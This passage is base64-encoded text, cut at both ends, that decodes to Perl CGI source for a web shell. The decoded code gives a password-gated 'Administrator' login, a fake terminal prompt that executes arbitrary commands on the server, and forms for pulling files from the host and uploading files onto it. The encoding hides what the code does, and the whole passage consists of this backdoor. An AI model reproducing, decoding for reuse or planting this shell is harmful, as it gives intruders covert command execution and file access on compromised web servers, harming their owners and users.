C4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemU